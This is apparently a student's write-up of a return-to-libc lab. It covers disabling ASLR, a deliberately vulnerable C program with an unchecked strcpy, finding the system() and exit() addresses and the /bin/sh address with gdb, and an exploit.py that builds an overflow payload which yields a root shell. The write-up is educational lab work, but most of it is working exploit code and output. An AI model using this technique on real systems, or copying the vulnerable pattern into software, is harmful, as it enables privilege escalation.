- Turning off countermeasures:

```
sudo sysctl -w kernel.randomize_va_space=0
sudo ln -sf /bin/zsh /bin/sh
```

- Run the Makefile:

```
make
```

retlib.c

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];
    unsigned int *framep;

    // Copy ebp into framep
    asm("movl %%ebp, %0" : "=r" (framep));

    /* print out information for experiment purpose */
    printf("Address of buffer[] inside bof():  0x%.8x\n",
(unsigned)buffer);
    printf("Frame Pointer value inside bof():  0x%.8x\n",
(unsigned)framep);

    strcpy(buffer, str);

    return 1;
}

void foo(){
    static int i = 1;
    printf("Function foo() is invoked %d times\n", i++);
    return;
}
```

```c
int main(int argc, char **argv)
{
   char input[1000];
   FILE *badfile;

   badfile = fopen("badfile", "r");
   int length = fread(input, sizeof(char), 1000, badfile);
   printf("Address of input[] inside main():  0x%x\n", (unsigned
int) input);
   printf("Input size: %d\n", length);

   bof(input);

   printf("(^_^)(^_^) Returned Properly (^_^)(^_^)\n");
   return 1;
}
```

Task 1: Finding out the Addresses of libc Functions

- Create the badfile:

```
touch badfile
```

- Debug retlib:

```
gdb retlib
```

- Put breakpoint & Run:

```
$ b bof
$ run
```

- Get system & exit addresses:

```
$ p system
```

```
$1 = {<text variable, no debug info>} 0xf7e11420 <system>
```

```
$ p exit
```

```
$2 = {<text variable, no debug info>} 0xf7e03f80 <exit>
```

Task 2: Putting the shell string in the memory

- Export variable:

```
export MYSHELL=/bin/sh
env | grep MYSHELL
```

```
MYSHELL=/bin/sh
```

So we can use it later in the retlib program.

- Find the location of the variable in the memory:

```
void main() {
    char* shell = getenv("MYSHELL");
    if (shell) {
        printf("%x\n", (unsigned int)shell);
    }
}
```

- Run:

```
gcc -o addr -m32 addr.c
```

```
ffffd30b
```

We now have the address to the string ‘/bin/sh’

Task 3: Launching the Attack

- Debug retlib:

```
gdb retlib
```

```
$ b bof
$ run
```

- Get the eip from info frame:

```
$ info frame
```

```
...
eip at 0xffffcbfc
```

- Get the buffer address inside bof():

```
$ c
```

```
Address of buffer[] inside bof(): 0xffffcbe0
```

- Calculate difference:

0xffffcbfc – 0xffffcbe0 = 1c (28)

To find where to put the first address and subsequently the 2nd and 3rd, since they are all 4 bytes apart.

exploit.py

```
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 36
sh_addr = 0xffffd307        # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4, byteorder='little')

Y = 28
system_addr = 0xf7e11420    # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4, byteorder='little')
```

```
Z = 32
exit_addr = 0xf7e03f80      # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4, byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
    f.write(content)
```

Since we're trying to find the address of an environment variable from inside a program, the length of the filename matters. The filename apparently appears twice before MYSHELL, offsetting it 2 bytes for every byte comprising the name of the file.

Running the program without the offset sh_addr:

```
zsh:1: no such file or directory: /sh
```

'/sh' is 4 bytes in front of '/bin/sh', because *retlib*'s name is 2 chars longer than *addr*, the original file we got the MYSHELL's address from.

The address of sh_addr needs to be changed from 0xffffd30b to 0xffffd307.

- Now running the program:

```
./retlib
```

```
Address of input[] inside main():  0xffffcc80
Input size: 300
Address of buffer[] inside bof():  0xffffcc50
Frame Pointer value inside bof():  0xffffcc68
#
```

The # meaning we have root privileges.

2. Change retlib -> newretlib:

```
./retlib
```

```
...
zsh:1: no such file or directory: h
```

The new filename is 3 chars longer than the old one, offsetting MYSHELL’s address by 6, from ‘/bin/sh’ to ’h’.

To fix this we need to change the sh_addr again from 0xffffd307 to 0xffffd301